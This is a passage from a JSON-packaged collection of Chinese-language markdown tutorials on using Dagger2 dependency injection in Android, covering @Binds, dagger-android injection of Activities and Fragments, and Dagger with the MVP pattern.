}\n}\n\npublic static void main(String[] args) {\n  if (args.length > 1) { exit(1); }\n  App app = DaggerAppComponent\n      .builder()\n      .userName(args[0])\n      .build()\n      .app();\n  app.run();\n}\n```\n\n编译时验证`(Compile-time Validation)`\n---\n\n`Dagger2`注解处理器是严格模式的，如果所有的绑定无效或者不完整就会导致编译时错误。例如这个`module`被安装到`component`，但是忘了绑定`Executor`:   \n```java\n@Module\nclass DripCoffeeModule {\n  @Provides static Heater provideHeater(Executor executor) {\n    return new CpuHeater(executor);\n  }\n}\n```\n那么当编译时，javac就会拒绝这个错误的绑定:   \n```\n[ERROR] COMPILATION ERROR :\n[ERROR] error: java.util.concurrent.Executor cannot be provided without an @Provides-annotated method.\n```\n\n只需要在当前`component`的任一`Module`中新增一个`Executor`的`@Provides`方法即可修复这个错误。\n\n\n\n\n`@Binds`与`@Provides`\n---\n\n相信大家经常会使用`@Provides`来在`Module`里面提供需要注入对象的构造, 但从来没有用过`@Binds`.\n\n如果我们需要注入一个接口的实现,我们常常会这么做:    \n```java\n@Module\npublic class HomeModule {\n\n  @Provides\n  public HomePresenter providesHomePresenter(){\n    return new HomePresenterImp();\n  }\n}\n```\n其实这样的代码可以通过`@Binds`简化为:    \n```java\n@Module\npublic abstract class HomeModule {\n\n  @Binds\n  public abstract HomePresenter bindHomePresenter(HomePresenterImp homePresenterImp);\n}\n```\n同时你需要将你的`Module`改为`abstract`即可,但是要注意这两个不能共存于一个`Module`,是不是很简单.\n\n\n\n\n\n\n\n\n下一篇:[Dagger2Android示例代码(六)](https://github.com/CharonChui/AndroidNote/blob/master/Dagger2/6.Dagger2Android%E7%A4%BA%E4%BE%8B%E4%BB%A3%E7%A0%81(%E5%85%AD).md)\n\n\n\n\n\n\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/Dagger2/6.Dagger2Android示例代码(六).md",
    "content": "Dagger2Android示例代码\n===\n\n经过前面的几个部分，基本把`Dagger2`讲完了，都是通过简单的示例的代码。那这里我们就用开发中具体的部分来进行示例，\n这里示例主要是有两个小问题，第一个就是前面我们从例子开始讲的试试直降了`@Inject`在变量上的使用，没有将去实际的用构造函数使用`@Inject`来讲解。\n还有一个就是`Component`在使用`inject`的时候也有两种方式:`create()`和`builder.build()`，前面虽然我们把源码看了，但是没有具体去说，虽然`create`方法内部就是调用`new Builder().build()`，但是他俩还是有一点区别的。  \n\n我们平时开发中经常会用到`TabLayout`和`ViewPager`结合使用切换不同`Fragment`的地方，这里就用这个例子来:   \n```xml\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    android:orientation=\"vertical\">\n\n    <android.support.design.widget.TabLayout\n        android:id=\"@+id/tab\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"48dp\"\n        app:tabMode=\"scrollable\" />\n\n    <android.support.v4.view.ViewPager\n        android:id=\"@+id/vp\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\" />\n</LinearLayout>\n```\n\n首先将`Fragment`写好:   \n```java\npublic class TitleFragment extends Fragment {\n    private static final String TITLE_KEY = \"title\";\n\n    public static TitleFragment getInstance(String title) {\n        TitleFragment fragment = new TitleFragment();\n        Bundle args = new Bundle();\n        args.putString(TITLE_KEY, title);\n        fragment.setArguments(args);\n        return fragment;\n    }\n\n    TextView tv;\n\n    @Nullable\n    @Override\n    public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {\n        View view = inflater.inflate(R.layout.fragment_main, container, false);\n        tv = view.findViewById(R.id.tv_text);\n        tv.setText(getArguments().getString(TITLE_KEY));\n        return view;\n    }\n}\n```\n\n- 声明`Module`\n\n而在`Adapter`的构造函数中需要三个参数`FragmentManager`、`List<String>`、`List<Fragment`，而`FragmentManager`通常是我们在`AppCompatActivity`中通过\n`getSupportFragmentManager()`得到的。所以首先我们要去声明`Module`方法，并且提供三个`Provide`方法:   \n\n```java\nimport dagger.Module;\nimport dagger.Provides;\n\n@Module\npublic class MainModule {\n    AppCompatActivity appCompatActivity;\n\n    public MainModule(AppCompatActivity appCompatActivity) {\n        this.appCompatActivity = appCompatActivity;\n    }\n\n    @Provides\n    FragmentManager provideFragmentManager() {\n        return appCompatActivity.getSupportFragmentManager();\n    }\n\n    @Provides\n    List<String> providesTitles() {\n        List<String> list = new ArrayList<>();\n        for (int i = 0; i < 4; i++) {\n            list.add(\"Page Title : \" + i);\n        }\n        return list;\n    }\n\n    @Provides\n    List<Fragment> providesFragmentList(List<String> titles) {\n        List<Fragment> fragments = new ArrayList<>();\n        for (String title : titles) {\n            fragments.add(TitleFragment.getInstance(title));\n        }\n        return fragments;\n    }\n}\n```\n\n- 声明`Component`，关联`Module`，并关联注入类\n\n```java\n@Component(modules = MainModule.class)\npublic interface MainComponent {\n    void inject(MainActivity activity);\n}\n```\n\n- 注入类通过`@Inject`使用    \n\n```java\npublic class MainActivity extends AppCompatActivity {\n    private ViewPager viewPager;\n    private TabLayout tabLayout;\n    @Inject\n    MainAdapter adapter;\n\n    @Override\n    protected void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        tabLayout = findViewById(R.id.tab);\n        viewPager = findViewById(R.id.vp);\n        // 向下面这种Module种带有参数的就没有DaggerMainComponent.create()方法了，只能用这种builder\n        DaggerMainComponent.builder().\n                mainModule(new MainModule(this)).\n                build().\n                inject(this);\n        viewPager.setAdapter(adapter);\n        tabLayout.setupWithViewPager(viewPager);\n    }\n}\n```\n\n好了，运行下:   \n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/dagger_android-demo.jpg?raw=true\" width=\"100%\" height=\"100%\">\n\n下一篇:[Dagger2之dagger-android(七)](https://github.com/CharonChui/AndroidNote/blob/master/Dagger2/7.Dagger2%E4%B9%8Bdagger-android(%E4%B8%83).md)\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/Dagger2/7.Dagger2之dagger-android(七).md",
    "content": "Dagger2之dagger-android(七)\n===\n\n```\n> Android Gradle\n> // Add Dagger dependencies\n> dependencies {\n>   compile 'com.google.dagger:dagger:2.x'\n>   annotationProcessor 'com.google.dagger:dagger-compiler:2.x'\n> }\n> If you're using classes in dagger.android you'll also want to include:\n\n> compile 'com.google.dagger:dagger-android:2.x'\n> compile 'com.google.dagger:dagger-android-support:2.x' // if you use the support libraries\n> annotationProcessor 'com.google.dagger:dagger-android-processor:2.x'\n```\n\n在`Dagger2`的官网上说如果你要使用`dagger.android`里面的东西，就需要添加`dagger-android`相关的依赖。那这里面都提供了些什么呢？   \n\n\n`Android`应用使用`Dagger`最主要的困难就是一些`Framework`类(如`Activity`、`Fragment`)是由操作系统实例化的，而`Dagger`更好工作的前提是它可以构建所有的注入对象。所以，你只能(不得不)在生命周期方法中进行成员变量注入，这就意味着一些类可能会写成这个样子:     \n```java\npublic class FrombulationActivity extends Activity {\n  @Inject Frombulator frombulator;\n\n  @Override\n  public void onCreate(Bundle savedInstanceState) {\n    super.onCreate(savedInstanceState);\n    // DO THIS FIRST. Otherwise frombulator might be null!\n    ((SomeApplicationBaseType) getContext().getApplicationContext())\n        .getApplicationComponent()\n        .newActivityComponentBuilder()\n        .activity(this)\n        .build()\n        .inject(this);\n    // ... now you can write the exciting code\n  }\n}\n```\n\n这样的确可以实现`Android`的依赖注入，但还有两个问题需要我们去面对:   \n\n- 类似的复制性的代码以后会很难维护。而且随着越来越多的开发者去复制粘贴这些代码，很少会有人知道它的作用。\n- 更重要的是，它要求注射类型`（FrombulationActivity）`知道其注射器。 即使这是通过接口而不是具体类型完成的，它打破了依赖注入的核心原则：一个类不应该知道如何实现依赖注入。\n\n\n于是`dagger.android`诞生了...`dagger.android`中的类提供了一种简洁化的实现方式。   \n\n\n注入`Activity`对象\n---\n\n- 1.在应用的`ApplicationComponent`中注入`AndroidInjectModule`，来确保可以绑定`Android`的基础组件。一般`Android`应用都会提供一个\n\n`ApplicationComponent`，其他的`Component`依赖该`ApplicationComponent`即可。    \n    ```java\n    @Module\n\tpublic class AppModule {\n\t    @Provides\n\t    LogUtil provideLogUtil() {\n\t        return new LogUtil();\n\t    }\n\t}\n\t@Singleton // 必须要singleton\n\t@Component(modules = AndroidInjectionModule.class, AppModule.class)\n\tpublic interface AppComponent {\n\t    void inject(AppApplication application);\n\t}\n    ```\n- 2.通过`@Subcomponent`声明一个实现`AndroidInjector<YourActivity>`的接口，并且提供一个继承`AndroidInjector.Builder<YourActivity>`的`@Subcomponent.Builder`\n\t```java\n\t@Subcomponent(modules = AndroidInjectionModule.class)\n\tpublic interface MainActivitySubcomponent extends AndroidInjector<MainActivity> {\n\t    @Subcomponent.Builder\n\t    abstract class Builder extends AndroidInjector.Builder<MainActivity> {\n\t    }\n\t}\n\t```\n- 3.定义完上面的`Subcomponent`后，要通过`module`将该`Module`注入到`Application`的`modules`列表中\n\t```java\n\t@Module(subcomponents = MainActivitySubcomponent.class)\n\tabstract class MainActivityModule {\n\t    @Binds\n\t    @IntoMap\n\t    @ActivityKey(MainActivity.class)\n\t    abstract AndroidInjector.Factory<? extends Activity> bindYourActivityInjectorFactory(MainActivitySubcomponent.Builder builder);\n\t    @Singleton // 必须用signelton，不然报错错误: A @Module may not contain both non-static @Provides methods and abstract @Binds or @Multibinds declarations\n\t    @Provides\n\t    static MainActivityPresenter providePresenter() {\n\t        return new MainActivityPresenter();\n\t    }\n\t}\n- 4.将刚才定义的`YourActivityModule.class`添加到`ApplicationComponent`中      \n\t```java\n\t@Singleton // 必须要singleton\n\t@Component(modules = {AndroidInjectionModule.class, AppModule.class, MainActivityModule.class})\n\tpublic interface AppComponent {\n\t    void inject(AppApplication application);\n\t}\n\t```\n\n- 5.自定义`Application`实现`HasActivityInjector`并且通过`@Inject`注入一个`activityInjector()`方法返回的`DispathcingAndroidInJector<Activity>`实例  \n\n\t```java\n\tpublic class AppApplication extends Application implements HasActivityInjector {\n\t    @Inject\n\t    DispatchingAndroidInjector<Activity> dispatchingActivityInjector;\n\n\t    @Override\n\t    public void onCreate() {\n\t        super.onCreate();\n\t        DaggerAppComponent.builder().build().inject(this);\n\t    }\n\n\t    @Override\n\t    public AndroidInjector<Activity> activityInjector() {\n\t        return dispatchingActivityInjector;\n\t    }\n\t}\n\t```\t\n\n- 6.最后，在`Activity.onCreate()`方法中在`super.onCreate()`之前调用`AndroidInjection.inject(this)`\n\n\t```java\n\tpublic class MainActivity extends AppCompatActivity {\n\t    @Inject\n\t    LogUtil mLog;\n\t    @Inject\n\t    MainActivityPresenter mPresenter;\n\n\t    @Override\n\t    protected void onCreate(Bundle savedInstanceState) {\n\t        AndroidInjection.inject(this);\n\t        super.onCreate(savedInstanceState);\n\t        setContentView(R.layout.activity_main);\n\t        mLog.d(mPresenter.toString());\n\t    }\n\t}\n\t```\n\t执行结果:`04-23 19:46:38.443 17096-17096/? E/@@@: com.charon.daggerandroiddemo.MainActivityPresenter@e480d98`\n\t\n但是它是怎么实现的呢？ \n`AndroidInjection.inject()`会从你的`Application`中拿到一个`DispatchingAndroidInjector<Activity>`并通过`inject(Activity)`把`Activity`传了过去。这个`DispatchingAndroidInjector`会查找一个你的`Activity`类的`AndroidInjector.Factory(YourActivitySubcomponent.Builder)`，构建`AndroidInjector(YourActivitySubcomponent)`，然后把你的`Activity`传给`inject(YourActivity)`。\n\n\n注入`Fragment`实例\n---\n\n\n注入`Fragment`实例和注入`Activity`类似。同样的去声明`subcomponent`，不同的是:    \n\n- 需要将`Activity`类型参数替换成`Fragment`\n- 将`@ActivityKey`替换成`@FragmentKey`\n- 将`HasActivityInjector`替换成`HasFragmentInjector`\n- 和在`Activity.onCreate()`方法执行注入不同的`Fragment`要通过`onAttach()`方法注入。        \n- `Fragment`的`Module`的添加位置，与`Activity`定义的`Module`添加不同，其取决于`Fragment`内部所需要的其他绑定的依赖注入；\n\n\n> Unlike the modules defined for Activitys, you have a choice of where to install modules for Fragments. You can make your Fragment component a subcomponent of another Fragment component, an Activity component, or the Application component — it all depends on which other bindings your Fragment requires. After deciding on the component location, make the corresponding type implement HasFragmentInjector. For example, if your Fragment needs bindings from YourActivitySubcomponent, your code will look something like this:\n\n```java\npublic class YourActivity extends Activity\n    implements HasFragmentInjector {\n  @Inject DispatchingAndroidInjector<Fragment> fragmentInjector;\n\n  @Override\n  public void onCreate(Bundle savedInstanceState) {\n    AndroidInjection.inject(this);\n    super.onCreate(savedInstanceState);\n    // ...\n  }\n\n  @Override\n  public AndroidInjector<Fragment> fragmentInjector() {\n    return fragmentInjector;\n  }\n}\n\npublic class YourFragment extends Fragment {\n  @Inject SomeDependency someDep;\n\n  @Override\n  public void onAttach(Activity activity) {\n    AndroidInjection.inject(this);\n    super.onAttach(activity);\n    // ...\n  }\n}\n\n@Subcomponent(modules = ...)\npublic interface YourFragmentSubcomponent extends AndroidInjector<YourFragment> {\n  @Subcomponent.Builder\n  public abstract class Builder extends AndroidInjector.Builder<YourFragment> {}\n}\n\n@Module(subcomponents = YourFragmentSubcomponent.class)\nabstract class YourFragmentModule {\n  @Binds\n  @IntoMap\n  @FragmentKey(YourFragment.class)\n  abstract AndroidInjector.Factory<? extends Fragment>\n      bindYourFragmentInjectorFactory(YourFragmentSubcomponent.Builder builder);\n}\n\n@Subcomponent(modules = { YourFragmentModule.class, ... }\npublic interface YourActivityOrYourApplicationComponent { ... }\n```\n\n\n\n\n上面主要用到了这几个类:   \n\n- `AndroidInjection`:注入`Android`核心库的基本类型的实例\n- `AndroidInjector<T>`:注入`Android`库的类型的接口,`T`为`Android`库的基本类型`T`,比如`Activity`、`Fragment`、`BroadcastReceive`等；\n- `AndroidInjector.Factory<T>`:`AndroidInjector<T>`的工厂类接口\n- `DispatchingAndroidInjector<T>`:其为`AndroidInjector<T>`接口的实现类，将`Android`核心库的的基本类型`T`的实例注入`Dagger`，该操作是由`Android`核心库的类的实例本身执行，而不是`Dagger`。\n\n卧草，好麻烦。`activity`搞一遍、`fragment`搞一遍、`service`搞一遍....\n\n\n弄到这里我已经迷糊了，在`dagger.android`这里我废了老半天劲，中间一度不想看了...\n\n- 每个`Activity`都要写一个`YourActivityModule`，并且添加到`AppComponent`中:   \n\t```java\n\t@Singleton // 必须要singleton\n\t@Component(modules = {AndroidInjectionModule.class, AppModule.class, MainActivityModule.class})\n\tpublic interface AppComponent {\n\t    void inject(AppApplication application);\n\t}\n\t```\n\t那么多`Activity`都添加进来，这是简洁个锤子啊\n\n- 每个`YourActivityModule`还要有一个`YourActivitySubComponent`文件，同事还需要建立多个`SubComponent`\n\t```java\n\t@Module(subcomponents = MainActivitySubcomponent.class)\n\tabstract class MainActivityModule {\n\t```\n\n官网中有这样一段话:   \n> Pro-tip: If your subcomponent and its builder have no other methods or supertypes than the ones mentioned in step #2, you can use @ContributesAndroidInjector to generate them for you. Instead of steps 2 and 3, add an abstract module method that returns your activity, annotate it with @ContributesAndroidInjector, and specify the modules you want to install into the subcomponent. If the subcomponent needs scopes, apply the scope annotations to the method as well.\n\n\n也就是如果您的`subcomponent`及其构建器没有第2步中提到的其他方法或超类型，您可以使用`@ContributesAndroidInjector`为您生成它们。我们就不需要步骤2和3，取而代之的是添加一个抽象模块方法，该方法返回您的`activity`，使用`@ContributesAndroidInjector`对其进行注解，并指定要安装到子组件中的模块。 如果子组件需要`scopes`，则也可以用`@scopes`注解到该方法。\n```java\n@ActivityScope\n@ContributesAndroidInjector(modules = { /* modules to install into the subcomponent */ })\nabstract YourActivity contributeYourActivityInjector();\n```\n\n\n我们可以封装一下:    \n\n- 提供`BaseActivity`在其`onCreate()`方法前调用`AndroidInjection.inject(this);`\n- 提供`BaseActivityComponent`\n- 然后将所有的`ActivityModule`用`AllActivityModule`统一管理\n\n\n`dagger`当然不会让你这么费劲,他们提供了更简单的实现\n\n基本`Framework`\n---\n\n\n由于`DispatchingAndroidInjector`会在运行时查找合适的`AndroidInjector`，基类需要像调用`AndroidInjection.inject()`一样实现`HasDispatchingActivityInjector/HasDispatchingFragmentInjector`，子类需要做的就是绑定一个对应的`@Subcomponent`。如果你的类层次不是很复杂的话`Dagger`会提供一些基类(如`[DaggerActivity]`和`[DaggerFragment]`)。同时`Dagger`也会提供`[DaggerApplication]`，你需要做的就是继承它并覆写`applicationInjector()`方法以返回应该注入`Application的component`。 \n\n\n还有下面的类型:\n\n- DaggerService and DaggerIntentService\n- DaggerBroadcastReceiver\n- DaggerContentProvider\n\n注意:`[DaggerBroadcastReceiver]`只适用于在`AndroidManifest.xml`文件中静态注册的`BroadcastReceiver`，如果你在代码中手动创建注册`BroadcastReceiver`，最好采用构造器注入。\n\n\n就是`dagger`提供给了`DaggerActivity`、`DaggerFragment`、`DaggerAppliation`等类，你可以直接去继承该类，实现对应的方法就可以了，不用按照上面一步一步的。\n\n\n那究竟是怎么用呢？ \n直接上代码了:   \n\n- 首先写好`ApplicationModule`类:   \n```java\n@Module\npublic class ApplicationModule {\n    @Provides\n    LogUtil provideLogUtil() {\n        return new LogUtil();\n    }\n}\n```\n\n- 定义好`MainActivityModule`:   \n```java\n@Module\npublic class MainActivityModule {\n    MainPresenter provideMainPresenter() {\n        return \"main activity module\";\n    }\n}\n```\n\n- 把所有的`ActivityModule`都放到一个统一的管理类中(为什么必须要有这个类去统一声明对应的Module，后面讲)，这里叫`ActivityBuilder`不太合适，应该叫`ActivityBindingModule`更切合一些:   \n```java\n@Module\npublic abstract class ActivityBuilder {\n    @ContributesAndroidInjector(modules = MainActivityModule.class)\n    abstract MainActivity bindMainActivity();\n    // @ContributesAndroidInjector(modules = Main2ActivityModule.class)\n    // abstract Main2Activity bindMain2Activity();\n    // ...\n    // 以后再写别的Activity只要将其对应的Module添加到这里就好了\n}\n```\n- 将`AndroidInjectionModule`、`ApplicationModule`、`ActivityBuilder`都注册到`AppComponent`中(这三是必须的)，然后提供`Builder`\n```java\n@Component(modules = {AndroidInjectionModule.class, ApplicationModule.class, ActivityBuilder.class})\npublic interface AppComponent extends AndroidInjector<AppApplication> {\n    @Component.Builder // 这个是什么鬼？ 为什么要声明它，下面讲\n    interface Builder {\n\n        @BindsInstance\n        Builder application(AppApplication application);\n\n        AppComponent build();\n    }\n\n    void inject(AppApplication application);  \n}\n```\n- 自定义`Application`类继承`DaggerApplication`\n```java\npublic class AppApplication extends DaggerApplication {\n\n    @Override\n    public void onCreate() {\n        super.onCreate();\n    }\n\n\n    @Override\n    protected AndroidInjector<? extends DaggerApplication> applicationInjector() {\n        AppComponent appComponent = DaggerAppComponent.builder().application(this).build();\n        return appComponent;\n    }\n}\n```\n继承后要实现`applicationInjector()`方法，也就是制定哪个是应用的`injector(the main component AppComponent)`. \n这就是为什么要让`AppComponent`继承`AndroidInjector <DaggerApplication>`的原因。 \n\n\n- 将`Activity`继承`DaggerActivity`，并且调用方法.  \n```java\npublic class MainActivity extends DaggerActivity {\n    @Inject\n    LogUtil mLog;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n    \t// 看到没，这里不用写inject了\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        mLog.d(\"@@@\");\n    }\n}\n```\n\n好了，走你:   \n```\n04-23 21:19:29.591 21395-21395/? E/@@@: @@@\n```\n卧草，方便了没有，好像还可以啊\n\n\n别忘了上面我们还遗留了两个问题:   \n\n- 为什么要声明`ActivityBuilder`并且在里面把`Module`列出，并声明`ContributesAndroidInjector`\n- 为什么要通过`@Component.Builder`声明`Builder`接口\n\n第一个问题:  \n---\n\n> ActivityBuilder : We created this module. This is a given module to dagger. We map all our activities here. And Dagger know our activities in compile time. In our app we have Main and Detail activity. So we map both activities here.\n\n这个问题其实我们在前面讲过。 在讲`DaggerActivity`和`DaggerFragment`之前。\n\n\n第二个问题:\n---\n\n> @Component.Builder: We might want to bind some instance to Component. In this case we can create an interface with @Component.Builder annotation and add whatever method we want to add to builder. In my case I wanted to add Application to my AppComponent.\n\n> Note: If you want to create a Builder for your Component, your Builder interface has to has a build(); method which returns your Component.\n\n说白了就是讲`Application`和`AppComponent`绑定。 \n\n```java\npublic class AppApplication extends DaggerApplication {\n\n    @Override\n    public void onCreate() {\n        super.onCreate();\n    }\n\n\n    @Override\n    protected AndroidInjector<? extends DaggerApplication> applicationInjector() {\n        AppComponent appComponent = DaggerAppComponent.builder().application(this).build();\n        return appComponent;\n    }\n}\n```\n\n`support`包的支持\n---\n\n像使用`Android support library`一样，`dagger.android.support`包下面也会提供相应的类。但要注意，当`support Fragment`用户需要绑定`AndroidInjector.Factory<? extends android.support.v4.app.Fragment>`时，`AppCompat`用户应该继续实现`AndroidInjector.Factory<? extends Activity>`而不是`<? extends AppCompatActivity>或<? extends FragmentActivity>`。\n\n\n何时注入\n---\n\n\n要尽可能的采用构造器注入，因为`javac`将确保被`set`之前没有字段被引用，这有利于避免空指针异常。但如果你一定要注入成员变量，最好尽早进行注入(越早越好)。也正是因为这样，`DaggerActivity`才要在`onCreate()`方法中立刻调用`AndroidInjection.inject()`再调用`super.onCreate()`。`DaggerFragment的onAttach()`也是一样，也是为了防止`Fragment`重新`attach`产生的矛盾。\n\n\n下一篇:[Dagger2与MVP(八)](https://github.com/CharonChui/AndroidNote/blob/master/Dagger2/8.Dagger2%E4%B8%8EMVP(%E5%85%AB).md)\n\n\n- [In Dagger 2.15,Should I need to add inject line on every Activity?\n](https://stackoverflow.com/questions/49348638/in-dagger-2-15-should-i-need-to-add-inject-line-on-every-activity)\n- [感谢简书走在冷风中吧](https://www.jianshu.com/p/9f1f1e75e97c)\n- [Android_Study_OK](https://blog.csdn.net/android_study_ok/article/details/52384247)\n- [Dagger & Android](https://google.github.io/dagger//android.html)\n- [New Android Injector with Dagger 2 ](https://medium.com/@iammert/new-android-injector-with-dagger-2-part-1-8baa60152abe)\n- [MVP with Dagger 2.11](https://proandroiddev.com/mvp-with-dagger-2-11-847d52c27c5a)\n- [Kotlin with dagger-android basic setup](http://marcinchmiel.com/articles/2017-05/kotlin-with-dagger-android-basic-setup/)\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/Dagger2/8.Dagger2与MVP(八).md",
    "content": "Dagger2与MVP(八)\n===\n\n前面介绍了`Dagger2`的基本知识，并且通过示例代码演示了如何在`Android`开发中去使用`Dagger2`。\n`Dagger2`可以减少很多模板化的代码，更易于测试、降低耦合度，创建可复用可交换的模板。    \n\n`Dagger2`优点:   \n\n- 提供了对全局对象实例的简单访问方式      \n    声明了单例的实例都可以通过`@Inject`进行访问。比如下面的`MyTwitterApiClient`和`SharedPreferences`的实例:    \n\n    ```java\n\tpublic class MainActivity extends Activity {\n\t   @Inject MyTwitterApiClient mTwitterApiClient;\n\t   @Inject SharedPreferences sharedPreferences;\n\n\t   public void onCreate(Bundle savedInstance) {\n\t       // assign singleton instances to fields\n\t       InjectorClass.inject(this);\n\t   }\n\t}\n    ```\n\n- 复杂的依赖关系只需要简单的配置\n    `Dagger2`会通过依赖关系并且生成易懂易分析的代码。以前通过手写的大量模板代码中的对象引用将会由它给你创建并传递到相应对象中。\n    因此你可以更多的关注模块中构建的内容而不是模块中的对象实例的创建顺序。\n\n- 作用域实例     \n    我们不仅可以轻松的管理全局实例对象，也可以使用`Dagger2`中的`scope`定义不同的作用域。（比如根据`user session`，`activity`的生命周期）\n\n\n在之前写的一篇文章[Android开发中的MVP模式详解](https://github.com/CharonChui/AndroidNote/blob/master/AdavancedPart/Android%E5%BC%80%E5%8F%91%E4%B8%AD%E7%9A%84MVP%E6%A8%A1%E5%BC%8F%E8%AF%A6%E8%A7%A3.md)中，讲到了`Google`官方的[android-architecture](https://github.com/googlesamples/android-architecture),下面就从前面这篇文章的基础往下说。`android-architecture`里面有一个分支是`todo-mvp-dagger`。`MVP`和`Dagger2`搭配，开发不累。   \n\n\n我们在没使用`dagger`之前，进行`mvp`开发的时候，是不是需要创建`view`和`presenter`啊，然后让他俩分别持有对方的对象。 \n那使用`dagger`后该怎么实现呢？   \n\n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/dagger_todo_mvp_list.png?raw=true\" width=\"100%\" height=\"100%\">\n\n我们可以看到和之前的区别就是:   \n\n- 多了`di`包，这里面都是动态注入相关的类:有全局的`ApplicationModule`、`AppComponent`、`ActivityBindingModule`和自定义的`Scope`\n- 每个页面都多了一个对应的`XXXModule`\n\n- 然后`ToDoApplication`实现了`DaggerApplication`\n\n就从`ToDoApplication`开始分析吧:   \n```java\npublic class ToDoApplication extends DaggerApplication {\n    @Inject\n    TasksRepository tasksRepository;\n\n    @Override\n    protected AndroidInjector<? extends DaggerApplication> applicationInjector() {\n        return DaggerAppComponent.builder().application(this).build();\n    }\n\n    /**\n     * Our Espresso tests need to be able to get an instance of the {@link TasksRepository}\n     * so that we can delete all tasks before running each test\n     */\n    @VisibleForTesting\n    public TasksRepository getTasksRepository() {\n        return tasksRepository;\n    }\n}\n```\n\n继承`DaggerApplication`并且实现`applicationInjector`方法，这是为了让`Activity`不用每个都去调用`component`的`inject`方法。 \n这里用到了`TasksRepository`和`AppComponent`，我们去看一下`AppComponent`:   \n```java\n@Singleton\n@Component(modules = {TasksRepositoryModule.class,\n        ApplicationModule.class,\n        ActivityBindingModule.class,\n        AndroidSupportInjectionModule.class})\npublic interface AppComponent extends AndroidInjector<ToDoApplication> {\n\t// 提供TaskRepository的注入对象\n    TasksRepository getTasksRepository();\n\n    // Gives us syntactic sugar. we can then do DaggerAppComponent.builder().application(this).build().inject(this);\n    // never having to instantiate any modules or say which module we are passing the application to.\n    // Application will just be provided into our app graph now.\n    @Component.Builder\n    interface Builder {\n\n        @BindsInstance\n        AppComponent.Builder application(Application application);\n\n        AppComponent build();\n    }\n}\n```\n\n这里面会将`TasksRepositoryModule`、`ApplicationModule`、`ActivityBindingModule`都进行绑定。   \n```java\n@Module\npublic abstract class ApplicationModule {\n    //expose Application as an injectable context\n    @Binds\n    abstract Context bindContext(Application application);\n}\n\n@Module\npublic abstract class ActivityBindingModule {\n\t// 注意下面的这四个`Module`\n    @ActivityScoped\n    // TasksModule是给`TasksActivity`提供注入对象的\n    @ContributesAndroidInjector(modules = TasksModule.class)\n    abstract TasksActivity tasksActivity();\n\n    @ActivityScoped\n    @ContributesAndroidInjector(modules = AddEditTaskModule.class)\n    abstract AddEditTaskActivity addEditTaskActivity();\n\n    @ActivityScoped\n    @ContributesAndroidInjector(modules = StatisticsModule.class)\n    abstract StatisticsActivity statisticsActivity();\n\n    @ActivityScoped\n    @ContributesAndroidInjector(modules = TaskDetailPresenterModule.class)\n    abstract TaskDetailActivity taskDetailActivity();\n}\n```\n而`TasksRepositoryModule`是在`Mock`中:   \n```java\n/**\n * This is used by Dagger to inject the required arguments into the {@link TasksRepository}.\n */\n@Module\nabstract public class TasksRepositoryModule {\n\n    private static final int THREAD_COUNT = 3;\n\n    @Singleton\n    @Binds\n    @Local\n    abstract TasksDataSource provideTasksLocalDataSource(TasksLocalDataSource dataSource);\n\n    @Singleton\n    @Binds\n    @Remote\n    abstract TasksDataSource provideTasksRemoteDataSource(FakeTasksRemoteDataSource dataSource);\n\n    @Singleton\n    @Provides\n    static ToDoDatabase provideDb(Application context) {\n        return Room.databaseBuilder(context.getApplicationContext(), ToDoDatabase.class, \"Tasks.db\")\n                .build();\n    }\n\n    @Singleton\n    @Provides\n    static TasksDao provideTasksDao(ToDoDatabase db) {\n        return db.taskDao();\n    }\n\n    @Singleton\n    @Provides\n    static AppExecutors provideAppExecutors() {\n        return new AppExecutors(new DiskIOThreadExecutor(),\n                Executors.newFixedThreadPool(THREAD_COUNT),\n                new AppExecutors.MainThreadExecutor());\n    }\n}\n```\n这是用于`mock`测试的一个类，里面的两个方法分别表示本地数据和远程数据，最终返回的都是`TasksDataSource`。`mock`测试就是在测试过程中，对于某些不容易构造或者不容易获取的对象，用一个虚拟的对象来创建以便测试的测试方法。这里对于数据对象直接在这里进行初始化，而不是在所有的用到该数据的地方`new`一遍。这也就体现了`Dagger2`的引入对测试是一个极大的便利。\n\n\n上面看到了`ActivityBindingModule`中对每个`Activity`都声明的`Module`,接下来就看`TasksModule`:     \n```java\n/**\n * This is a Dagger module. We use this to pass in the View dependency to the\n * {@link TasksPresenter}.\n */\n@Module\npublic abstract class TasksModule {\n    @FragmentScoped\n    @ContributesAndroidInjector\n    abstract TasksFragment tasksFragment();\n\n    @ActivityScoped\n    @Binds abstract TasksContract.Presenter taskPresenter(TasksPresenter presenter);\n}\n\n```\n\n这里面分别提供了对应`View`的`Fragment`以及对应`Presenter`。   \n\n\n\n\n下一篇文章:[Dagger2原理分析](https://github.com/CharonChui/AndroidNote/blob/master/Dagger2/9.Dagger2%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90(%E4%B9%9D).md)\n\n\n\n\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/Dagger2/9.Dagger2原理分析(九).md",
